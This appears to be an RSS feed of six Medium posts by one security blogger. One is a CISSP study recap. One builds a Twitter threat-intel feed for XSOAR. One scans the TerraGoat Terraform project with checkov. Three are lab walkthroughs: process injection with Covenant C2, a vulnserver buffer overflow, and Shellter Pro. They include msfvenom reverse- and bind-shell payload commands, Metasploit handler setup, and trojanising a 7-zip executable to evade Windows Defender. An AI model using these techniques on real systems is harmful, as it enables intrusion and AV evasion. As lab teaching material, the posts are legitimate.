<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Brenton Swanepoel on Medium]]></title>
        <description><![CDATA[Stories by Brenton Swanepoel on Medium]]></description>
        <link>https://medium.com/@brentonswanepoelza?source=rss-2c5bce8557ab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zizjOI-y_W02h7QaVY2a2A.jpeg</url>
            <title>Stories by Brenton Swanepoel on Medium</title>
            <link>https://medium.com/@brentonswanepoelza?source=rss-2c5bce8557ab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 17:10:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@brentonswanepoelza/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Provisionally passed my CISSP!]]></title>
            <link>https://brentonswanepoelza.medium.com/provisionally-passed-my-cissp-d07d9c01c3e3?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/d07d9c01c3e3</guid>
            <category><![CDATA[cissp-certification]]></category>
            <category><![CDATA[cissp]]></category>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Sat, 03 Sep 2022 10:48:14 GMT</pubDate>
            <atom:updated>2022-09-03T10:48:14.514Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*-4QgQE_vrao6QXX6.jpg" /></figure><p>I provisionally passed the CISSP exam on 23 August 2022 at 125 Questions with just over 2 hours in.</p><p>I put in just under 4 months of study time to get this done, averaging around 6 Hours of study on week days and around 12 hours on Saturdays and Sundays.</p><p>Resources used:<br>- Thor Pedersons CISSP course 8/10 — Very good overview, sometimes for me it tended to be slow, so I would speed up his videos to 2.x</p><p>- Adam Gordons CISSP course 9/10 — Very detailed, and he teaches it in a different way, you can grab coffee and put the course on the TV.</p><p>- Larry Greendblats Live Bootcamp — 9/10 — Larry is very smart and was able to articulate concepts better for me than some of the others. A key part here is the mindset he teaches.</p><p>- (ISC)2 CISSP Certified Information Systems Security Professional Official Study Guide, 9th Edition — 9/10 — content is detailed and well put together, I read this book once and used it as a reference for any unclear concepts</p><p>- 11th Hour — 7/10 — Really good book, was able to read this anywhere as I travelled, the content is just a little bit outdated, but still relevant</p><p>- Pocketprep App — 8/10 — Questions on the go, whenever you have time to do 10 quick questions</p><p>- LearnZApp — 8/10 — Questions on the go, whenever you have time to do 10 quick questions</p><p>- The Study guide comes with over a thousand questions, I did all of them, but its important to read the explanations</p><p>- Boson questions 7/10 — I did these too early, in month one of studying, I think the explanations did help though</p><p>- Thor Pederson hard questions — 8/10 — initially I did not like these too much, but the way they are structured makes you really piece info together.</p><p>- Study sessions with others — 10/10 — I cant stress how important this was to understand concepts, if you have a study buddy, bounce ideas, explain concepts and ask questions</p><p>- Prahb Nair Coffee shots — 8/10 these are good to get a understanding around how to read questions, he covers most topics and definitely worth watching all of his coffee shots</p><p>- Rob Witcher’s Destination Certification mind map videos — 10/10 — I must have watched these 4 times over, its a great resource for an overview, as well as refreshing concepts.</p><p>- Destination Certification flashcard app — 9/10 — I used this in my final month of prep, It was great to have a concept to try explain to myself .</p><p>- The best resource was Certification Station’s Discord group, there are CISSP’s that assist aspiring CISSP’s with any questions, sharing of relevant information and just a great group with loads of interaction. This is KEY!</p><p>- Dark Helmet (Certification Station) Practice questions — 10/10 — He put in a lot of effort, and his questions are a good challenge</p><p>- Pete Zergers CISSP videos on youtube — 9/10 — he has some really easy to use content. I watched his content at 2.x around 4 times over. This is good during final prep.</p><p>It is so important that you understand the concepts, this exam is a test of that as well as endurance, you have to put in the effort, and once it is done its as if there is a huge weight lifted off your shoulders. The hardest part was having to change my personal life to accommodate the studying, and thankfully everyone around me was supportive.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d07d9c01c3e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build your own Threat intelligence feed with Twitter — integrate to XSOAR]]></title>
            <link>https://brentonswanepoelza.medium.com/build-your-own-threat-intelligence-feed-with-twitter-integrate-to-xsoar-64f269b0bf55?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/64f269b0bf55</guid>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Thu, 07 Jul 2022 13:52:39 GMT</pubDate>
            <atom:updated>2022-07-07T14:09:21.880Z</atom:updated>
            <content:encoded><![CDATA[<h3>Build your own Threat intelligence feed with Twitter — integrate to XSOAR</h3><p>Threat intelligence is a key part of the incident response process for any organization today. The more *good* context we have the better we are able to handle any type of security incident. The great news is that Twitter is used for all sorts of IOC’s, malware / malicious URL sharing is a common activity among information security professionals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/0*RxE-Su36RArIj77Y.png" /></figure><p>The first step is to get our environment ready. I have a Palo Alto Networks XSOAR instance that will use a custom feed and based on certain actions we can push the IOC’s to a PAN-OS firewall. Other than that we need to build a script that will fetch the information and present it in a format that XSOAR will understand.</p><p>I&#39;m going to host all of the services on my CENTOS host running XSOAR. You need to download jq first, this can be used to apply filters on the content we fetch from Twitter.</p><p>jq is written in C and has no runtime dependencies, so it should be possible to build it for nearly any platform. Prebuilt binaries are available for Linux, OS X and Windows.</p><p>The binaries should just run, but on OS X and Linux you may need to make them executable first using chmod +x jq.</p><p><a href="https://stedolan.github.io/jq/download/">Download jq</a></p><p>Go ahead and test printing output from the feed using the jq tool and curl:</p><pre>curl <a href="https://twitter.threatintel.rocks/">https://twitter.threatintel.rocks/</a> --silent | jq</pre><p>Your results will look like this, jq has gone and formated the output to make it more human readable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Chuf6DnWwlZozCtWuI8N2g.png" /></figure><p>Now let&#39;s try and use it to retrieve content and apply filters so that we only retrieve the malicious URLs. The last thing you want is just a whole bunch of data, with no context flooding your tools.</p><pre>curl <a href="https://twitter.threatintel.rocks/">https://twitter.threatintel.rocks/</a> --silent | jq -r &#39;.malicious_urls | .[]&#39;</pre><p>Now it should look more like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bn-dIPOutLgKFqN63y9NQ.png" /></figure><p>Maybe you don&#39;t want the URLs, just IP addresses? No problem, let&#39;s go even further and sort it by occurrence:</p><pre>curl <a href="https://twitter.threatintel.rocks/">https://twitter.threatintel.rocks/</a> --silent | jq &#39;.malicious_ips |  .[]?&#39; -r | sort | uniq -c | sort -nr</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmJ9y6qNEB3kUgN0IgYkJQ.png" /></figure><p>You would also want to put this into a txt file so that you can extract them from the file.</p><pre>curl <a href="https://twitter.threatintel.rocks/">https://twitter.threatintel.rocks/</a> --silent | jq &#39;.malicious_ips |  .[]?&#39; -r | sort | uniq -c | sort -nr &gt;&gt; /home/xsoar/output.txt</pre><p>Here we see the output of less output.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sy3wiRvfEWSXZEOfvDyTZA.png" /></figure><p>Now that we have our threat intel, I want to automate some of this, work smart; not hard! Cronjobs will do the trick and we will be sticking to URLs.</p><pre>ctontab -e</pre><pre>then insert this to run every 30 minutes:</pre><pre>30 * * * * /usr/bin/curl <a href="https://twitter.threatintel.rocks/">https://twitter.threatintel.rocks/</a> --silent | jq -r &#39;.malicious_urls | .[]&#39; &gt;&gt; /home/xsoar/threatfeed/output.txt</pre><p>We need to serve the file to XSOAR and the easiest way to do this is with the Plaintext feed integration. We would need to serve the file to the integration using a local web service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mEIYMkvAgIh-iupLli8MZw.png" /></figure><p>Here are the XSOAR settings, there is a lot of stuff you can add to this integration, these are the important ones:</p><ul><li>URL, Credentials, Indicator information, Feed name, and extraction options</li></ul><p>And then finally after all the information has been added run a test:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZxVuV-5nRVaF8SukN8Jpcw.png" /></figure><p>Here you will see that “output.txt” is successfully fetched:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xomMkSFwBwQxeKQZl0U1UQ.png" /></figure><p>In our indicator tab, we can now go and look at the indicators using this query:</p><pre>verdict:Malicious type:URL sourceBrands:&quot;Plain Text Feed&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1angbjLf-WNIa_th_SW2JA.png" /></figure><p>We come to our final step, which is to take all of this awesome new data and add it to an EDL. We first create an Export indicators service integration, remember to use the query you created before in order to restrict results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*CFNg8Nz1-8B_BrLT3_vxbQ.png" /></figure><p>You will then see that all the indicators will be present on its own web service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_n-vXf4TNU3nuF7KHBgRtA.png" /></figure><p>You can create the EDL from XSOAR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zuARa3f10sHdb_T9wff6kw.png" /></figure><p>Push a commit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JlbRnE1xY2Tk8rECh76UZw.png" /></figure><p>And that&#39;s it, now Palo Alto Networks is going to grab all the new URLs from our recently created custom threat feed. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*Absc_Xn31RiV59qZ.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64f269b0bf55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting started with vulnerable by design Terraform project]]></title>
            <link>https://brentonswanepoelza.medium.com/getting-started-with-vulnerable-by-design-terraform-project-1b8302e8e072?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b8302e8e072</guid>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Sun, 12 Jun 2022 17:06:55 GMT</pubDate>
            <atom:updated>2022-06-12T17:09:29.333Z</atom:updated>
            <content:encoded><![CDATA[<p>With the transformation to the cloud, we have seen a lot of great advancements over the past few years, but we have a lot of security issues that come with this milestone. I wanted to understand how to scan cloud misconfigurations before they are actually deployed to production environments.</p><p>We will be scanning purposely vulnerable IaC templates with open source tools today. Infrastructure-as-Service (IaC) automates IT infrastructure provisioning. Now developers don’t manually manage and run servers and other elements while they develop, deploy, or test software.</p><p>There is a project called Terragoat, created by Bridgecrew that will help us get started with this concept. You can find it over here:</p><p><a href="https://github.com/bridgecrewio/terragoat/">GitHub - bridgecrewio/terragoat: TerraGoat is Bridgecrew&#39;s &quot;Vulnerable by Design&quot; Terraform repository. TerraGoat is a learning and training project that demonstrates how common configuration errors can find their way into production cloud environments.</a></p><p>Let’s get started by cloning the project:</p><pre>git clone <a href="https://github.com/bridgecrewio/terragoat/">https://github.com/bridgecrewio/terragoat/</a></pre><pre>cd terragoat</pre><p>Then we will look at using an opensource tool checkov which enables us to scan cloud infrastructure configurations and find these misconfigurations we are looking for before the code is deployed.</p><p><a href="https://www.checkov.io/">https://www.checkov.io/</a></p><p>Checkov uses a common command-line interface to manage and analyze infrastructure as code (IaC) scan results across platforms such as Terraform, CloudFormation, Kubernetes, Helm, ARM Templates, and Serverless framework.</p><p>To install checkov let’s use pip, there are multiple options to do this though:</p><p><a href="https://www.checkov.io/2.Basics/Installing%20Checkov.html">Installing Checkov - checkov</a></p><pre>pip install checkov</pre><p>Then to scan TerraGoat simply run the following:</p><pre>checkov -d terraform</pre><p>The best way to understand these types of misconfigrations is to actually practice this yourself and have a look at what types of risks are presented. Here is an example of what you would see once you have scanned the TerraGoat project:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*IGV0kSfEVWI97kU7GGDGGw.png" /></figure><p>Thats it for this blog, in the next one we will be looking at some additional tools for best practice scanning and various ways to scan resources in AWS. In the mean time you can look in the next tool:</p><p>TFLint, according to the github page it is a framework and each feature is provided by plugins, the key features are as follows:</p><ul><li>Find possible errors (like illegal instance types) for Major Cloud providers (AWS/Azure/GCP).</li><li>Warn about deprecated syntax, unused declarations.</li><li>Enforce best practices, naming conventions.</li></ul><p><a href="https://github.com/terraform-linters/tflint">https://github.com/terraform-linters/tflint</a></p><p>Install it using the following command:</p><pre>curl -s https://raw.githubusercontent.com/terraform-linters/tflint/master/install_linux.sh | bash</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b8302e8e072" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Standard process injection — Making the grunt work]]></title>
            <link>https://brentonswanepoelza.medium.com/standard-process-injection-making-the-grunt-work-1ae30a2e17f7?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ae30a2e17f7</guid>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Fri, 10 Jun 2022 17:19:29 GMT</pubDate>
            <atom:updated>2022-06-12T07:05:30.509Z</atom:updated>
            <content:encoded><![CDATA[<h3>Standard process injection — Making the grunt work Part 1/4</h3><p>I have decided to move my original blog over to medium for ease of use, so here is an entry I did a while ago on how to use shelter pro for dynamic shellcode injection on <a href="https://dmzero.ne/">https://dmzero.ne</a>t/</p><p>Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.</p><h3>Process injection in windows</h3><p>There are multiple approaches to injecting code into a live process. Windows implementations include Reference from ATT&amp;CK:</p><ol><li>Dynamic-link library (DLL) injection involves writing the path to a malicious DLL inside a process and then invoking execution by creating a remote thread.</li><li>Portable executable injection involves writing malicious code directly into the process (without a file on disk) and then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into the process) overcome the address relocation issue.</li><li>Asynchronous Procedure Call (APC) injection involves attaching malicious code to the APC Queue of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed “Early Bird injection”, involves creating a suspended process in which malicious code can be written and executed before the process’ entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.</li><li>Thread Local Storage (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point.</li></ol><p>I am going to look at multiple different techniques of using process injection with this entry and show some demo’s on how this can be used. 3xpl01tc0d3r released a cool tool that will be able to perform the 4 techniques I want to cover in this blog.</p><p><a href="https://github.com/3xpl01tc0d3r/ProcessInjection">Process Injection</a></p><h3>Lab setup</h3><ol><li>Windows 10 Victim — Patched &amp; Running Windows Defender</li><li>Kali Linux waiting to receive shellz</li><li>Preconfigured Covenant with docker</li><li>Donut — latest release</li><li>ProcessInjection by 3xpl01tc0d3r</li></ol><p>For the demos we are going to run through I want to use something called Donut which will generate shellcode for us, and since this tool can take any .NET assembly input we will generate the payloads in Covenant C2 framework.</p><p><a href="https://github.com/TheWover/donut">Donut</a>:</p><p>Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files, and dotNET assemblies. A module created by Donut can either be staged from an HTTP server or embedded directly in the loader itself.</p><p><a href="https://github.com/cobbr/Covenant">Covenant</a></p><p>Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.</p><h3>Covenant setup</h3><p>I am not going to show you how to set up Covenant, you can find the resources in the project&#39;s repository, but this is how I built the docker container:</p><pre>//Build docker container<br>$ ~/Covenant/Covenant &gt; docker build -t covenant .<br>$ ~/Covenant/Covenant &gt; docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username AdminUser --computername 0.0.0.0</pre><p>Then we can log in with our credentials and we will see Covenents GUI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ARqj2sf3j-Ge8RQc.JPG" /></figure><p>Donuts options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*sM9sM_6cxrniWK1G.JPG" /></figure><p>The first process injection we are going to use is standard. We are going to take the covenant binary launcher, use a donut to generate our shellcode and then inject the shellcode into a process on the victim host.</p><p>Before we can start though we need to set up a listener within Covenent first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dr_ZkKjH-6rroLiy.JPG" /></figure><p>Generate the binary and save the file to disk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CrlHbbnV-373ZC8s.JPG" /></figure><p>Then we need to use donut to generate the shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*l6JN7kAN47rR1AUe.JPG" /></figure><p>Then we can just identify the process we are trying to inject in to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*x7vllWoeraVYFonC.JPG" /></figure><ul><li>We are going to use notepad.exe (PID 4932)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qxhhn-T49uqIkZl7.JPG" /></figure><p>At this point, we should see a connection coming back to our Covenant C2 instance. That is a pretty basic way to use Process injection with Covenant. Stay tuned for other entries!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ae30a2e17f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Shellter Pro for dynamic shellcode injection]]></title>
            <link>https://brentonswanepoelza.medium.com/using-shellter-pro-for-dynamic-shellcode-injection-226f0f808d67?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/226f0f808d67</guid>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Fri, 10 Jun 2022 17:14:51 GMT</pubDate>
            <atom:updated>2022-06-12T07:07:43.205Z</atom:updated>
            <content:encoded><![CDATA[<p>I have decided to move my original blog over to medium for ease of use, so here is an entry I did a while ago on how to use shellter pro for dynamic shellcode injection on <a href="https://dmzero.ne/">https://dmzero.ne</a>t</p><p>We are going to use shellter pro’s auto-mode to inject a listed payload “windows/meterpreter/reverse_tcp” in-to a alpha version of 7-zip. The file that we are going to use has to be 32/bit since there is no support for 64/bit applications at the time of writing. One thing you need to note about using this tool to infect legitimate PE’s, is that you have to use an application that is not flagged by AV for any reason.</p><p>What tends to happen is once multiple users start using the same PE for infection and the files get uploaded to tools like virustotal, the detection rates go up. I suggest that if you are testing this out you find a light-weight application and check to see if there are any detections on the file before proceeding. Some of the other articles I am planning to write will cover more advanced capabilities of the tool, we will go through using multiple payload chaining, custom shellcode, and various other options available within the tool.</p><h3>Lab setup</h3><ol><li>Windows 10 Victim — Patched &amp; Running Windows Defender</li><li>Kali Linux waiting to receive shellz</li><li>Shellter</li></ol><p>Before we start let&#39;s run a quick test to see if Defender is actually able to catch our very basic/generic payload. This is something that should be picked up by many AV vendors, we will also explore how you can take a payload like this and use various techniques to make the payload slip through in later blogs.</p><p>First things first, let&#39;s generate a generic EXE file with MSFVenom to showcase this:</p><pre>//msfvenom to generate exe<br>~/msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe &gt; example.exe</pre><p>After this, the simplest way to move the file over is by hosting an HTTP server that the victim can download the file from:</p><pre>//HTTP server setup<br>~/python -m SimpleHTTPServer 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*---PgFrhxq3hROxi.PNG" /></figure><p>We also need to set up our listener on our attacker host:</p><pre>//msfconsole for our session<br>~/msfconsole<br>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost x.x.x.x<br>set lport 443</pre><p>And as expected Windows Defender saves the day :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/0*SrNFBimdg391brEV.PNG" /></figure><p>The idea now is to try some of the magic that Shellter has to offer. We are going to use the standard settings that are available within the tool and see how injecting the same payload gets past Windows Defender.</p><pre>//Shellter Pro using default configuration<br>1. Put Shellter in Automatic mode<br>2. Check online for updates<br>3. Select PE - 7zip renamed to 1.exe for ease<br>4. Turn on stealth mode<br>5 - end Use basic features that ships with the tool</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/0*ATBxRa4hGdSKpMK6.gif" /></figure><p>Now that we have our malicious file ready for execution let’s see how Windows Defender handles this. We will copy the file over to our victim machine and execute it.</p><p>We use the same configuration for our Metasploit handler:</p><pre>//msfconsole for our session<br>~/msfconsole<br>use exploit/multi/handler  <br>set payload windows/meterpreter/reverse_tcp  <br>set lhost x.x.x.x<br>set lport 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S407qV3c4zmKGWhp.gif" /></figure><p>As we can see from the above, the 7zip application functions as expected, and we receive a fully interactive meterpreter shell back to the attacker host :)</p><p>That&#39;s it for this entry, in some of the future blogs we will look at how some of the more advanced AVs contest against this type of attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=226f0f808d67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnserver Buffer Overflow — TRUN]]></title>
            <link>https://brentonswanepoelza.medium.com/vulnserver-buffer-overflow-trun-d831cb692c32?source=rss-2c5bce8557ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/d831cb692c32</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Brenton Swanepoel]]></dc:creator>
            <pubDate>Tue, 26 Jan 2021 08:30:51 GMT</pubDate>
            <atom:updated>2024-04-26T07:51:24.502Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnserver Buffer Overflow — TRUN</h3><p>What I will be outlining in this post is how to find and exploit a buffer overflow vulnerability in the vulnserver application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*OVrAKyYFUVvd7e-Hwj0wlw.jpeg" /></figure><h3>What is vulnserver?</h3><blockquote>Windows based threaded TCP server application that is designed to be exploited. <a href="http://www.thegreycorner.com/2010/12/introducing-vulnserver.html">http://www.thegreycorner.com/2010/12/introducing-vulnserver.html</a></blockquote><h3>Tools used</h3><ul><li>Immunity debugger</li><li>Spike</li><li>nmap</li><li>Netcat</li><li>monapy</li><li>Microsoft Code</li></ul><p>So to start off I ran the application on a Windows 10 host and scanned the Victim with nmap to identify the port being used by the application. The default port used by vulnserver is 9999.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*tjoiAo3n9U1IGUm4-Jgxrg.png" /><figcaption>Default port used by vulnserver</figcaption></figure><p>Next thing to to is establish a connection to vulnserver over port 9999 and see what the application presents back to us.</p><pre>nc -nv 192.168.173.130 9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*D53dStZfDEEJ9tO3vGbxfg.png" /><figcaption>Initial connection</figcaption></figure><p>So the application asks us to input the HELP option. So I did this and noticed that the TRUN command is available to us. And I wanted to start playing with it. To validate that it takes data we just insert some random string,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*6m1hv7JKKj-Ddv7unhxJpw.png" /><figcaption>TRUN input</figcaption></figure><p>Let’s attach the application to immunity debugger before we start fuzzing the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2hCDenCy2TPqjsW9DVpXhQ.png" /><figcaption>Attack vulnserver to Immunity</figcaption></figure><p>Then I created a spike script with the below code:</p><pre>s_readline();<br>s_string(&quot;TRUN &quot;);<br>s_string_variable(&quot;COMMAND&quot;);The</pre><p>Then I ran the fuzzing script against the application:</p><pre>generic_send_tcp 192.168.173.130 9999 buff.spk 0 0</pre><p>So after a small while the a application crashes and a few things happened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*F2VpSQ4S6FQOeQOGBGAUCg.png" /><figcaption>Fuzzing stops</figcaption></figure><p>When I ran the program again I saw the following popup appear. 4 bytes of A’s shown in it’s hex value as “41414141”. The EAX has also been changed starting with the TRUN :/./ command followed by the string of A’s leading into the ESP and EIP.</p><p>At this point it starts looking good for a potential buffer overflow. I could have continued using spike to find the exact offset of where the application breaks but I decided to start building the python script used for exploiting the flaw.</p><p>Typically with a buffer overflow I will start off with some form of skeleton code and build the exploit from there on. The below script replicated the original crash that spike caused.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*fMRdQrAmooEgDndF_xPh8w.png" /><figcaption>Exploit 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O563F4ZMrX02D01OiK9P8w.png" /><figcaption>Crash replicated</figcaption></figure><p>Now that we have replicated the crash with our python script. We need to identify the 4 bytes that have overwritten the EIP register. So first off I generated a random string with monapy and replaced the buffer with the generated value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AGXdw1SZEGLxoui_-jI2g.png" /><figcaption>Generate 5000 character string</figcaption></figure><p>The below code is the new exploit script that I used, with the replaced buffer string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwrH_EDtlq7KFHAjwut-LA.png" /><figcaption>Exploit 2</figcaption></figure><p>After running the updated python script the EIP was replaced to 6F43376F.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojLLnf_DUk4dlk77BJgMXA.png" /><figcaption>EIP replaced to 6F43376F</figcaption></figure><p>There are usually two ways that I would go about identifying the offset that of the string that overwrites the EIP. First one is pattern_offset which is a metasploit tool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*WJ4mNtKCvhMkSk1gZNtBVw.png" /><figcaption>Metasploit Pattern Offset</figcaption></figure><p>And the second is with monapy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*ndQFrh_rivvbw8NE7fpi9A.png" /><figcaption>Mona Findmsp</figcaption></figure><p>With this information we want to verify that the offset found is the correct one. So what I did was to update the python script to the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*U7WPwRDta4UIN5AAFbWMug.png" /><figcaption>Exploit 3</figcaption></figure><p>What this did was verify the offset is correct. Now we can see that the EIP has been overwritten with 4 b’s as “42424242” and that the C’s are present in the buffer directly after the 4 bytes of b’s. This means that we can place the shellcode after the 4 bytes of b’s. However this can only happen once we have eliminated the bad characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJXEgY_ToL7n-HP5puDgYw.png" /><figcaption>Exploit 3 results</figcaption></figure><p>To eliminate all the bad characters you can use mona to generate all possible characters from \x00 to \xFF. I always take out the null byte “\x00” before starting the process because its usually a bad character.</p><p>To generate the characters:</p><pre>!mona bytearray</pre><p>Then I updated the script to include bad characters and store them in the buffer variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*21PZT-NCZk02cNCXUHbYRg.png" /><figcaption>Exploit 4</figcaption></figure><p>From the above updated script we can see that \x00 was the only bad character. So we don’t need to do anything else in this case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*cNQ2iNLU6isqQXrYz3w7OQ.png" /><figcaption>No more bad characters</figcaption></figure><p>The next part of the process is to find an address that contains a JMP ESP. I decided to use the dll that ships with the application called essfunc.dll.</p><pre>!mona jmp -r esp -m “essfunc.dll”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McTTSrux2WQHdanidcfZeg.png" /><figcaption>jmp esp for essfunc.dll</figcaption></figure><p>I used the first address for the next part of the python script “0x625011af”. When you look at the protection features it does not have any, so this would be an easy target… Using msfvenom I generated the shellcode needed to exploit the vulnerability and gain a remote shell. In the msfvenom command below we are binding a tcp shell over port 4444 (not specified — you can specify this) and using the application we are exploiting with the thread parameter then specifying the null byte character.</p><pre>msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b &quot;\x00&quot; -f c</pre><p>After this I added some new parts to the python script</p><ul><li>The JMP ESP from the DLL identified</li><li>A nopsled before the shellcode (24 NOP instructions)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*_GzrsyKUYboTcAVxuZNA7w.png" /><figcaption>Shellcode</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*ZiX2wZbL-fULiNHutQjCGQ.png" /><figcaption>Exploit 5</figcaption></figure><p>Time to see the shell connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*k_NQ-IkggnfJ6u5i_cmTkg.png" /><figcaption>Shellz!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d831cb692c32" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>